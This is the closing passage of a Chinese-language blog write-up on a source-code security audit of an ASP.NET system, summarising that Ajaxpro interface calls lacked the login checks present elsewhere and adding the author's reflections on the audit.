注:该请求需要登录,原因上面已经讲到。

 

0x07:总结

纵观整套源码,我们可以发现,常规的用户交互操作都是存在登录校验的。但是开发者却忽略了Ajaxpro这种程序调用接口的安全校验。其实在大多数系统中也存在类似的问题,整套系统存在问题的点还是非常之多的。本文只选取了部分较为明显的点进行分析撰述,并未对该套源码进行全面分析。各位小伙伴感兴趣可以深入研究一下。个人感觉ASP.NET的语法思想和JAVA其实是很相似的。在审计过程中也学习到了很多知识和一些有趣的开发思想,受益匪浅。本文拙劣,行文不当之处希望各位大佬指正谅解。

(完)